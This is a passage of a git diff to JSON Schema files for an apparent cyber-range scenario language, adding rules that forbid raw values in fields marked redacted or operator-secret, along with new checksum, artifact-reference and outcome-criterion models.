secret or intentionally exposed diagnostic field.\n\nThe sensitivity vocabulary is shared with the rest of the runtime surface.\nA ``redacted`` or ``operator_secret`` field must omit its raw ``value``.\nOther values, including credential-shaped fixture facts, are scenario\ncontent needed for range realization and participant observation.", + "if": { + "properties": { + "sensitivity": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "sensitivity" + ] + }, "properties": { "description": { "default": "", @@ -11556,6 +12430,19 @@ "required": [ "name" ], + "then": { + "not": { + "properties": { + "value": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "value" + ] + } + }, "title": "RuntimeApplicationExposedField", "type": "object" }, @@ -11758,10 +12645,24 @@ }, "methods": { "items": { - "type": "string" + "anyOf": [ + { + "maxLength": 128, + "minLength": 1, + "pattern": "^[!#$%&'*+\\-.^_`|~0-9A-Za-z]{1,128}$(?![\\s\\S])", + "type": "string" + }, + { + "pattern": "^\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}$(?![\\s\\S])", + "type": "string", + "x-raes-variable-reference": true + } + ] }, + "minItems": 1, "title": "Methods", - "type": "array" + "type": "array", + "uniqueItems": true }, "name": { "default": "", @@ -13872,6 +14773,25 @@ "RuntimeDatastoreSetting": { "additionalProperties": false, "description": "An observed datastore runtime setting with scope, provenance, and class.\n\nExplicit ``redacted`` / ``operator_secret`` classifications omit raw values;\nnames that look credential-bearing remain scenario content unless the\nauthor marks the value withheld.", + "if": { + "properties": { + "classification": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "classification" + ] + }, "properties": { "classification": { "anyOf": [ @@ -13940,6 +14860,19 @@ "required": [ "setting_id" ], + "then": { + "not": { + "properties": { + "value": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "value" + ] + } + }, "title": "RuntimeDatastoreSetting", "type": "object" }, @@ -14399,6 +15332,25 @@ } ], "description": "Required runtime environment variable with provenance and sensitivity.", + "if": { + "properties": { + "value_classification": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "value_classification" + ] + }, "properties": { "description": { "default": "", @@ -14460,6 +15412,19 @@ "required": [ "name" ], + "then": { + "not": { + "properties": { + "value": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "value" + ] + } + }, "title": "RuntimeEnvironmentVariable", "type": "object" }, @@ -15108,6 +16073,16 @@ "RuntimeFilesystemEntry": { "additionalProperties": false, "description": "A filesystem entry observed inside a runtime node or container asset.", + "if": { + "properties": { + "presence": { + "pattern": "^[Ee][Xx][Pp][Ee][Cc][Tt][Ee][Dd][_-][Aa][Bb][Ss][Ee][Nn][Tt]$" + } + }, + "required": [ + "presence" + ] + }, "properties": { "content_digest": { "default": "", @@ -15254,6 +16229,58 @@ "required": [ "path" ], + "then": { + "properties": { + "content_digest": { + "enum": [ + "", + null + ] + }, + "digest_algorithm": { + "enum": [ + "", + null + ] + }, + "gid": { + "enum": [ + "", + null + ] + }, + "mode": { + "enum": [ + "", + null + ] + }, + "owner_group": { + "enum": [ + "", + null + ] + }, + "owner_user": { + "enum": [ + "", + null + ] + }, + "size": { + "enum": [ + "", + null + ] + }, + "uid": { + "enum": [ + "", + null + ] + } + } + }, "title": "RuntimeFilesystemEntry", "type": "object" }, @@ -15649,6 +16676,25 @@ "RuntimeForwardingSetting": { "additionalProperties": false, "description": "An observed forwarding-agent runtime setting with provenance and class.\n\nExplicit ``redacted`` / ``operator_secret`` classifications omit raw values;\ncredential-shaped names remain scenario content unless the author marks the\nvalue withheld.", + "if": { + "properties": { + "classification": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "classification" + ] + }, "properties": { "classification": { "anyOf": [ @@ -15704,6 +16750,19 @@ "required": [ "setting_id" ], + "then": { + "not": { + "properties": { + "value": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "value" + ] + } + }, "title": "RuntimeForwardingSetting", "type": "object" }, @@ -15952,6 +17011,25 @@ "RuntimeIdentityAttribute": { "additionalProperties": false, "description": "Observed identity attribute or bounded setting.\n\nSecret-bearing names must not carry raw values. This keeps directory\npasswords, Kerberos keys, keytabs, tokens, and client secrets out of\nfixtures, diagnostics, schemas, and generated runtime artifacts.", + "if": { + "properties": { + "value_classification": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "value_classification" + ] + }, "properties": { "description": { "default": "", @@ -16012,6 +17090,19 @@ "required": [ "name" ], + "then": { + "not": { + "properties": { + "values": { + "minItems": 1, + "type": "array" + } + }, + "required": [ + "values" + ] + } + }, "title": "RuntimeIdentityAttribute", "type": "object" }, @@ -16512,6 +17603,24 @@ "RuntimeInitProcess": { "additionalProperties": false, "description": "Required backend-injected container init / PID-1 reaper configuration.\n\nModels authored container runtime intent \u2014 for example Docker Compose\n``init: true`` causing PID 1 to be ``/sbin/docker-init`` (tini). This is\ndistinct from the observed PID-1 process recorded in\n``runtime.processes``; see ADR-027.", + "if": { + "properties": { + "argv_redacted": { + "anyOf": [ + { + "const": true + }, + { + "pattern": "^\\s*(?:[Tt][Rr][Uu][Ee]|1|[Yy][Ee][Ss]|[Oo][Nn])\\s*$", + "type": "string" + } + ] + } + }, + "required": [ + "argv_redacted" + ] + }, "properties": { "argv": { "items": { @@ -16578,6 +17687,13 @@ "title": "Reaps Children" } }, + "then": { + "properties": { + "argv": { + "maxItems": 0 + } + } + }, "title": "RuntimeInitProcess", "type": "object" }, @@ -17732,6 +18848,25 @@ "RuntimeMailSetting": { "additionalProperties": false, "description": "A mail-service runtime setting with source/provenance and redaction.", + "if": { + "properties": { + "value_classification": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "value_classification" + ] + }, "properties": { "component_ref": { "default": "", @@ -17797,6 +18932,19 @@ "setting_id", "name" ], + "then": { + "not": { + "properties": { + "value": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "value" + ] + } + }, "title": "RuntimeMailSetting", "type": "object" }, @@ -20083,6 +21231,25 @@ "RuntimePlatformApplicationSetting": { "additionalProperties": false, "description": "An observed platform setting with provenance and sensitivity.\n\nExplicitly redacted/operator-secret settings must omit their raw ``value``.\nA setting name does not by itself redact SDL scenario content.", + "if": { + "properties": { + "classification": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "classification" + ] + }, "properties": { "classification": { "anyOf": [ @@ -20143,6 +21310,19 @@ "required": [ "setting_id" ], + "then": { + "not": { + "properties": { + "value": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "value" + ] + } + }, "title": "RuntimePlatformApplicationSetting", "type": "object" }, @@ -20469,7 +21649,36 @@ "title": "Soft" }, "subject": { - "$ref": "#/$defs/RuntimeProcessIdentity" + "$ref": "#/$defs/RuntimeProcessIdentity", + "allOf": [ + { + "if": { + "properties": { + "command_redacted": { + "anyOf": [ + { + "const": true + }, + { + "pattern": "^\\s*(?:[Tt][Rr][Uu][Ee]|1|[Yy][Ee][Ss]|[Oo][Nn])\\s*$", + "type": "string" + } + ] + } + }, + "required": [ + "command_redacted" + ] + }, + "then": { + "properties": { + "command": { + "maxItems": 0 + } + } + } + } + ] } }, "required": [ @@ -21923,6 +23132,25 @@ "RuntimeSecurityMonitoringSetting": { "additionalProperties": false, "description": "A bounded manager setting with sensitivity classification.", + "if": { + "properties": { + "value_classification": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "value_classification" + ] + }, "properties": { "component_ref": { "default": "", @@ -21988,6 +23216,19 @@ "setting_id", "name" ], + "then": { + "not": { + "properties": { + "value": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "value" + ] + } + }, "title": "RuntimeSecurityMonitoringSetting", "type": "object" }, @@ -22021,7 +23262,7 @@ }, "RuntimeServiceListener": { "additionalProperties": false, - "description": "Observed generic runtime listener attached to a node.", + "description": "Possibly partial runtime listener description attached to a node.\n\nOnly ``service_listener_id`` is universally required. Supplied facts are\nvalidated for bounds and contradictions, but missing endpoint facts are\nnot fabricated or rejected at this descriptive boundary.", "properties": { "address": { "default": "", @@ -22798,6 +24039,24 @@ "RuntimeSudoRule": { "additionalProperties": false, "description": "An observed sudo/sudoers privilege grant.\n\nThe portable model is the structured principal/run-as/command scope.\n``raw_entry`` may carry the original sudoers line only as optional\ndescriptive evidence; ``command_redacted`` marks a rule whose command\nscope was withheld because it carried sensitive arguments.", + "if": { + "properties": { + "command_redacted": { + "anyOf": [ + { + "const": true + }, + { + "pattern": "^\\s*(?:[Tt][Rr][Uu][Ee]|1|[Yy][Ee][Ss]|[Oo][Nn])\\s*$", + "type": "string" + } + ] + } + }, + "required": [ + "command_redacted" + ] + }, "properties": { "command_redacted": { "anyOf": [ @@ -22880,6 +24139,13 @@ "required": [ "principal" ], + "then": { + "properties": { + "commands": { + "maxItems": 0 + } + } + }, "title": "RuntimeSudoRule", "type": "object" }, @@ -23032,6 +24298,80 @@ }, "ServiceManagerUnit": { "additionalProperties": false, + "allOf": [ + { + "if": { + "properties": { + "manager_kind": { + "pattern": "^[sS][yY][sS][tT][eE][mM][dD]$" + } + }, + "required": [ + "manager_kind" + ] + }, + "then": { + "properties": { + "unit_name": { + "pattern": "^[^\\s]+\\.[^\\s]+$" + } + } + } + }, + { + "if": { + "properties": { + "manager_kind": { + "anyOf": [ + { + "pattern": "^(?:[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN])$" + }, + { + "pattern": "^x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*$" + } + ] + } + }, + "required": [ + "manager_kind" + ] + }, + "then": { + "properties": { + "active_state": { + "const": "unknown" + }, + "enabled_state": { + "const": "unknown" + }, + "exec_start": { + "const": null + }, + "exit_code": { + "const": null + }, + "load_state": { + "const": "unknown" + }, + "main_pid": { + "const": null + }, + "result": { + "const": "unknown" + }, + "status_text": { + "const": "" + }, + "sub_state": { + "const": "" + }, + "unit_type": { + "const": "other" + } + } + } + } + ], "description": "Observed service-manager unit state on a realized range node.\n\nEach record carries a stable RAES ``unit_id`` (the reference target), the\nnative ``unit_name`` (e.g. ``sshd.service``), the participant-observable\nlifecycle facts captured by ``systemctl`` (load/active/sub/enabled/result),\nand bounded optional evidence: the unit-file path, an ``ExecStart``\ndescriptor with explicit redaction discipline, the main PID when present,\nand an optional same-node ``Node.services[]`` ref.\n\nThis is observed WHAT-IS state, not provisioning intent or authored\nbehavior; see ADR-035 for the boundary against ``Node.services``,\n``conditions``, ``runtime.processes``, ``runtime.container.init_process``,\n``runtime.operational_policy``, and ``runtime.ssh_servers``.", "properties": { "active_state": { @@ -23170,6 +24510,8 @@ "type": "string" }, "unit_name": { + "default": "", + "pattern": "^\\S+$", "title": "Unit Name", "type": "string" }, @@ -23188,8 +24530,7 @@ } }, "required": [ - "unit_id", - "unit_name" + "unit_id" ], "title": "ServiceManagerUnit", "type": "object" @@ -23493,6 +24834,69 @@ }, "ServiceUnitExecStart": { "additionalProperties": false, + "allOf": [ + { + "if": { + "properties": { + "command_redacted": { + "anyOf": [ + { + "const": true + }, + { + "pattern": "^\\s*(?:[Tt][Rr][Uu][Ee]|1|[Yy][Ee][Ss]|[Oo][Nn])\\s*$", + "type": "string" + } + ] + } + }, + "required": [ + "command_redacted" + ] + }, + "then": { + "properties": { + "command": { + "maxLength": 0 + } + } + } + }, + { + "if": { + "properties": { + "command_kind": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "command_kind" + ] + }, + "then": { + "not": { + "properties": { + "command": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "command" + ] + } + } + } + ], "description": "A typed service-manager ``ExecStart`` configuration.\n\nMirrors the SSH ``ForcedCommand`` redaction discipline (ADR-031): the\n``command_kind`` discriminates how ``command`` is interpreted, and\n``command_redacted=True`` forces ``command`` empty and\n``command_kind=redacted``. The model never carries raw secret-bearing\nargv -- if the underlying ``ExecStart=`` includes credentials, tokens, or\noperator-only arguments, the surface stores only the redacted shape.", "properties": { "command": { @@ -23674,6 +25078,69 @@ }, "SshForcedCommand": { "additionalProperties": false, + "allOf": [ + { + "if": { + "properties": { + "command_redacted": { + "anyOf": [ + { + "const": true + }, + { + "pattern": "^\\s*(?:[Tt][Rr][Uu][Ee]|1|[Yy][Ee][Ss]|[Oo][Nn])\\s*$", + "type": "string" + } + ] + } + }, + "required": [ + "command_redacted" + ] + }, + "then": { + "properties": { + "command": { + "maxLength": 0 + } + } + } + }, + { + "if": { + "properties": { + "command_kind": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "command_kind" + ] + }, + "then": { + "not": { + "properties": { + "command": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "command" + ] + } + } + } + ], "description": "A typed sshd ``ForceCommand`` configuration.\n\nThe ``command_kind`` discriminates how ``command`` is interpreted:\n\n- ``absolute_path``: a concrete executable path (or ``${var}``) starting\n with ``/``. Validated via ``absolute_path_or_var``.\n- ``internal_sftp``: the sshd-internal sftp subsystem; ``command`` must\n equal the literal ``\"internal-sftp\"``.\n- ``redacted``: the underlying command is withheld from the SDL model\n because it carries secrets, session identifiers, or operator-only\n arguments; ``command`` must be empty and ``command_redacted`` must\n be true.", "properties": { "command": { @@ -25294,6 +26761,18 @@ "title": "Assertions", "type": "object" }, + "augmentation_scope": { + "anyOf": [ + { + "$ref": "#/$defs/AugmentationScopePolicy" + }, + { + "type": "null" + } + ], + "default": null, + "x-raes-realization-dimension": false + }, "behavior_specifications": { "additionalProperties": { "$ref": "#/$defs/ParticipantBehaviorSpecification" @@ -25936,6 +27415,18 @@ "type": "object", "x-raes-document-phase": "normalized-authoring-object", "x-raes-invariants": [ + { + "description": "Every declared required evidence media type must have a registered content-proof path; an explicit output_contract must support every declared type.", + "id": "required-evidence-media-type-provable", + "inputs": [ + { + "contract_id": "sdl-authoring-input-v1", + "instance_path": "#/evidence_requirements" + } + ], + "level": "error", + "validator": "raes.evidence_requirements.EvidenceRequirement._validate_capture_intent" + }, { "description": "Generated artifact output names and paths, consumers, and dependency entries must be unique, and generated artifact consumers must be read-only. Explicit selections must name declared consumer-selectable outputs; SSH artifact consumers must select outputs and every consumer-selectable SSH output must be selected.", "id": "stateful-generated-artifact-semantics", @@ -25983,6 +27474,18 @@ ], "level": "error", "validator": "raes.validator.SemanticValidator._verify_service_materialization" + }, + { + "description": "Explicit temporal bindings must resolve the action's shared clock, constraint and selected event. Dwell conditions require authorized observation boundaries and observable support and evidence. Numeric parameters are revalidated after binding.", + "id": "participant-shared-time-source-bindings", + "inputs": [ + { + "contract_id": "sdl-authoring-input-v1", + "instance_path": "#" + } + ], + "level": "error", + "validator": "raes.semantics.participant_temporal_bindings.participant_temporal_binding_errors" } ], "x-raes-semantic-profile": { diff --git a/contracts/schemas/snapshots/runtime-snapshot-v1.json b/contracts/schemas/snapshots/runtime-snapshot-v1.json index 20a6252c7..21be9e3f7 100644 --- a/contracts/schemas/snapshots/runtime-snapshot-v1.json +++ b/contracts/schemas/snapshots/runtime-snapshot-v1.json @@ -1010,6 +1010,263 @@ "title": "EventClassificationModel", "type": "object" }, + "ExperimentArtifactRefModel": { + "additionalProperties": false, + "description": "Reference to an artifact that supports a task, run, apparatus, or study.", + "properties": { + "artifact_id": { + "minLength": 1, + "title": "Artifact Id", + "type": "string" + }, + "checksum": { + "$ref": "#/$defs/ExperimentChecksumModel" + }, + "created_at": { + "format": "date-time", + "minLength": 1, + "pattern": "^\\d{4}-\\d{2}-\\d{2}[Tt](?:[01]\\d|2[0-3]):[0-5]\\d:(?:[0-5]\\d|60)(?:\\.\\d+)?(?:[Zz]|[+-](?:[01]\\d|2[0-3]):[0-5]\\d)$", + "title": "Created At", + "type": "string" + }, + "description": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Description" + }, + "media_type": { + "minLength": 1, + "title": "Media Type", + "type": "string" + }, + "role": { + "enum": [ + "protocol", + "metric-definition", + "scenario-snapshot", + "materialization-attestation", + "manifest", + "apparatus-evidence", + "observation", + "result", + "analysis", + "report", + "export", + "starter-file", + "evaluator", + "subtask", + "gold-step", + "milestone", + "human-assistance", + "scaffold", + "baseline", + "cost-resource-trace", + "documentation", + "operator-guide", + "configuration", + "profile", + "dataset", + "other" + ], + "title": "Role", + "type": "string" + }, + "satisfies_refs": { + "items": { + "$ref": "#/$defs/ExperimentEvidenceSatisfactionReferenceModel" + }, + "title": "Satisfies Refs", + "type": "array" + }, + "sensitivity": { + "enum": [ + "public", + "internal", + "restricted", + "redacted" + ], + "title": "Sensitivity", + "type": "string" + }, + "size_bytes": { + "minimum": 0, + "title": "Size Bytes", + "type": "integer" + }, + "source": { + "minLength": 1, + "title": "Source", + "type": "string" + }, + "uri": { + "minLength": 1, + "title": "Uri", + "type": "string" + } + }, + "required": [ + "artifact_id", + "role", + "media_type", + "uri", + "checksum", + "size_bytes", + "created_at", + "source", + "sensitivity" + ], + "title": "ExperimentArtifactRefModel", + "type": "object" + }, + "ExperimentChecksumModel": { + "additionalProperties": false, + "allOf": [ + { + "if": { + "properties": { + "algorithm": { + "const": "sha256" + } + }, + "required": [ + "algorithm" + ] + }, + "then": { + "properties": { + "value": { + "pattern": "^[A-Fa-f0-9]{64}$" + } + } + } + }, + { + "if": { + "properties": { + "algorithm": { + "const": "sha384" + } + }, + "required": [ + "algorithm" + ] + }, + "then": { + "properties": { + "value": { + "pattern": "^[A-Fa-f0-9]{96}$" + } + } + } + }, + { + "if": { + "properties": { + "algorithm": { + "const": "sha512" + } + }, + "required": [ + "algorithm" + ] + }, + "then": { + "properties": { + "value": { + "pattern": "^[A-Fa-f0-9]{128}$" + } + } + } + }, + { + "if": { + "properties": { + "algorithm": { + "const": "blake3" + } + }, + "required": [ + "algorithm" + ] + }, + "then": { + "properties": { + "value": { + "pattern": "^[A-Fa-f0-9]{64}$" + } + } + } + } + ], + "description": "Checksum metadata for an experiment-core artifact reference.", + "properties": { + "algorithm": { + "enum": [ + "sha256", + "sha384", + "sha512", + "blake3" + ], + "title": "Algorithm", + "type": "string" + }, + "value": { + "minLength": 1, + "pattern": "^[A-Fa-f0-9]+$", + "title": "Value", + "type": "string" + } + }, + "required": [ + "algorithm", + "value" + ], + "title": "ExperimentChecksumModel", + "type": "object" + }, + "ExperimentEvidenceSatisfactionReferenceModel": { + "additionalProperties": false, + "description": "Evidence concept reference that an artifact claims to satisfy.", + "properties": { + "ref_id": { + "minLength": 1, + "title": "Ref Id", + "type": "string" + }, + "ref_kind": { + "const": "evidence", + "title": "Ref Kind", + "type": "string" + }, + "ref_version": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Ref Version" + } + }, + "required": [ + "ref_kind", + "ref_id" + ], + "title": "ExperimentEvidenceSatisfactionReferenceModel", + "type": "object" + }, "ExplicitnessClass": { "description": "SEM-218 author-intent class for a declaration.", "enum": [ @@ -1031,364 +1288,320 @@ "type": "string" }, "JsonValue": {}, - "ObservationStrength": { - "description": "Strongest evidence a backend configuration emits for one concern.", - "enum": [ - "none", - "driver-reported", - "daemon-observed", - "guest-observed" - ], - "title": "ObservationStrength", - "type": "string" - }, - "ObservedOperatingSystemIdentityModel": { + "LocalOutcomeCriterion": { "additionalProperties": false, - "description": "Typed guest-observed OS identity carried by a bound disclosure.", + "description": "An explicitly declared realized effect, never an action status shortcut.", "properties": { - "distribution": { + "criterion_id": { "minLength": 1, - "title": "Distribution", + "pattern": "\\S", + "title": "Criterion Id", "type": "string" }, - "family": { + "effect_id": { "minLength": 1, - "title": "Family", + "pattern": "\\S", + "title": "Effect Id", "type": "string" }, - "version": { - "maxLength": 128, + "source_id": { "minLength": 1, - "pattern": "^[!-~](?:[ -~]{0,126}[!-~])?$", - "title": "Version", + "pattern": "\\S", + "title": "Source Id", "type": "string" } }, "required": [ - "family", - "distribution", - "version" + "criterion_id", + "source_id", + "effect_id" ], - "title": "ObservedOperatingSystemIdentityModel", + "title": "LocalOutcomeCriterion", "type": "object" }, - "OutcomeInterpretationSourceLayer": { - "description": "Semantic layers that may feed a SEM-215 interpretation rule.", - "enum": [ - "participant_action_outcome", - "participant_episode_status", - "objective_result", - "workflow_result", - "evaluation_result", - "evidence_claim", - "reward_signal", - "benchmark_milestone", - "subtask", - "gold_step", - "human_assistance", - "scaffold_variant", - "cost_resource_telemetry", - "privacy_redaction_result" - ], - "title": "OutcomeInterpretationSourceLayer", - "type": "string" - }, - "OutcomeInterpretationTargetLayer": { - "description": "Semantic layers a SEM-215 interpretation rule may explicitly produce.", - "enum": [ - "scenario_meaning", - "objective_result", - "workflow_result", - "evaluation_result", - "evidence_claim", - "reward_signal", - "benchmark_progress", - "privacy_redaction_result" - ], - "title": "OutcomeInterpretationTargetLayer", - "type": "string" - }, - "ParticipantActionEffectResultModel": { + "LocalOutcomeDefinition": { "additionalProperties": false, + "description": "All criteria must be evidenced; contradictory observations need correction.", "properties": { - "description": { - "minLength": 1, - "title": "Description", + "category": { + "enum": [ + "task_completion", + "effect_realization" + ], + "title": "Category", "type": "string" }, - "diagnostics": { + "conflict_policy": { + "const": "retain_until_explicit_correction", + "title": "Conflict Policy", + "type": "string" + }, + "criteria": { "items": { - "minLength": 1, - "type": "string" + "$ref": "#/$defs/LocalOutcomeCriterion" }, - "title": "Diagnostics", + "minItems": 1, + "title": "Criteria", "type": "array" }, - "effect_class": { - "$ref": "#/$defs/ParticipantEffectClass" - }, - "effect_id": { + "criterion_basis": { "minLength": 1, - "title": "Effect Id", + "pattern": "\\S", + "title": "Criterion Basis", "type": "string" }, - "evidence_refs": { - "items": { - "minLength": 1, - "type": "string" - }, - "title": "Evidence Refs", - "type": "array" + "episode_policy": { + "const": "reset_without_transfer", + "title": "Episode Policy", + "type": "string" }, - "target_refs": { - "items": { - "minLength": 1, - "type": "string" - }, - "title": "Target Refs", - "type": "array" + "freshness_policy": { + "const": "exact_observation_cut", + "title": "Freshness Policy", + "type": "string" + }, + "model_version": { + "const": "1.0.0", + "title": "Model Version", + "type": "string" } }, "required": [ - "effect_id", - "effect_class", - "description" + "model_version", + "category", + "criterion_basis", + "criteria", + "conflict_policy", + "freshness_policy", + "episode_policy" ], - "title": "ParticipantActionEffectResultModel", + "title": "LocalOutcomeDefinition", "type": "object" }, - "ParticipantActionPreconditionResultModel": { + "MaterializationArchiveRecord": { "additionalProperties": false, + "description": "Published protected bytes and their distinct semantic identity.", "properties": { - "action_contract_address": { + "artifact": { + "$ref": "#/$defs/ExperimentArtifactRefModel" + }, + "operation_id": { "minLength": 1, - "title": "Action Contract Address", + "title": "Operation Id", "type": "string" }, - "diagnostics": { - "items": { - "minLength": 1, - "type": "string" - }, - "title": "Diagnostics", - "type": "array" + "reference": { + "$ref": "#/$defs/MaterializationAttestationReferenceModel" }, - "episode_id": { + "run_id": { "minLength": 1, - "title": "Episode Id", + "title": "Run Id", "type": "string" - }, - "evidence_refs": { - "items": { - "minLength": 1, - "type": "string" - }, - "title": "Evidence Refs", - "type": "array" - }, - "observation_point": { + } + }, + "required": [ + "reference", + "artifact", + "run_id", + "operation_id" + ], + "title": "MaterializationArchiveRecord", + "type": "object" + }, + "MaterializationAttestationReferenceModel": { + "additionalProperties": false, + "description": "A descriptive artifact identity, never the original scenario snapshot.", + "properties": { + "ref_digest": { "minLength": 1, - "title": "Observation Point", + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Ref Digest", "type": "string" }, - "participant_address": { + "ref_id": { "minLength": 1, - "title": "Participant Address", + "title": "Ref Id", "type": "string" }, - "precondition_class": { - "$ref": "#/$defs/ParticipantPreconditionClass" + "ref_kind": { + "const": "materialization-attestation", + "default": "materialization-attestation", + "title": "Ref Kind", + "type": "string" }, - "precondition_id": { + "ref_path": { "minLength": 1, - "title": "Precondition Id", + "title": "Ref Path", "type": "string" }, - "status": { - "enum": [ - "satisfied", - "unsatisfied", - "unresolved" - ], - "title": "Status", + "ref_version": { + "const": "raes-sdl-materialized/v1", + "default": "raes-sdl-materialized/v1", + "title": "Ref Version", "type": "string" - }, - "support_refs": { - "items": { - "minLength": 1, - "type": "string" - }, - "title": "Support Refs", - "type": "array" } }, "required": [ - "precondition_id", - "precondition_class", - "status", - "participant_address", - "episode_id", - "action_contract_address", - "observation_point" + "ref_id", + "ref_digest", + "ref_path" ], - "title": "ParticipantActionPreconditionResultModel", + "title": "MaterializationAttestationReferenceModel", "type": "object" }, - "ParticipantActionResultModel": { + "MixedCompositionRuntimeEventModel": { "additionalProperties": false, + "description": "One append-only phase or coordination fact, never a copied payload.", "properties": { - "action_contract_address": { - "minLength": 1, - "title": "Action Contract Address", - "type": "string" - }, - "action_instance_id": { - "minLength": 1, - "title": "Action Instance Id", - "type": "string" - }, - "diagnostics": { + "active_allocation_ids": { "items": { "minLength": 1, "type": "string" }, - "title": "Diagnostics", + "maxItems": 1024, + "minItems": 1, + "title": "Active Allocation Ids", "type": "array" }, - "effects": { + "active_component_ids": { "items": { - "$ref": "#/$defs/ParticipantActionEffectResultModel" + "minLength": 1, + "type": "string" }, - "title": "Effects", + "maxItems": 64, + "minItems": 1, + "title": "Active Component Ids", "type": "array" }, - "episode_id": { - "minLength": 1, - "title": "Episode Id", - "type": "string" - }, - "evidence_refs": { + "active_edge_ids": { "items": { "minLength": 1, "type": "string" }, - "title": "Evidence Refs", + "maxItems": 1024, + "title": "Active Edge Ids", "type": "array" }, - "failure_class": { + "allocation_id": { "anyOf": [ { - "$ref": "#/$defs/ParticipantFailureClass" + "minLength": 1, + "type": "string" }, { "type": "null" } ], - "default": null - }, - "observation_point": { - "minLength": 1, - "title": "Observation Point", - "type": "string" - }, - "observations": { - "items": { - "minLength": 1, - "type": "string" - }, - "title": "Observations", - "type": "array" + "default": null, + "title": "Allocation Id" }, - "participant_address": { - "minLength": 1, - "title": "Participant Address", - "type": "string" + "component_id": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Component Id" }, - "preconditions": { - "items": { - "$ref": "#/$defs/ParticipantActionPreconditionResultModel" - }, - "title": "Preconditions", - "type": "array" + "control_event_ref": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Control Event Ref" }, - "resource_measurements": { - "items": { - "$ref": "#/$defs/ParticipantResourceMeasurementModel" - }, - "title": "Resource Measurements", - "type": "array" + "crossing_event_ref": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Crossing Event Ref" }, - "status": { + "disposition": { "enum": [ - "accepted", - "rejected", - "withheld", + "committed", + "permitted", + "denied", "succeeded", "failed", - "partial_success", - "unknown" + "indeterminate" ], - "title": "Status", - "type": "string" - } - }, - "required": [ - "status", - "participant_address", - "episode_id", - "action_instance_id", - "action_contract_address", - "observation_point" - ], - "title": "ParticipantActionResultModel", - "type": "object" - }, - "ParticipantActivityOccurrenceProvenanceModel": { - "additionalProperties": false, - "description": "Safe within-run scheduler provenance for one native action attempt.", - "properties": { - "attempt_id": { - "minLength": 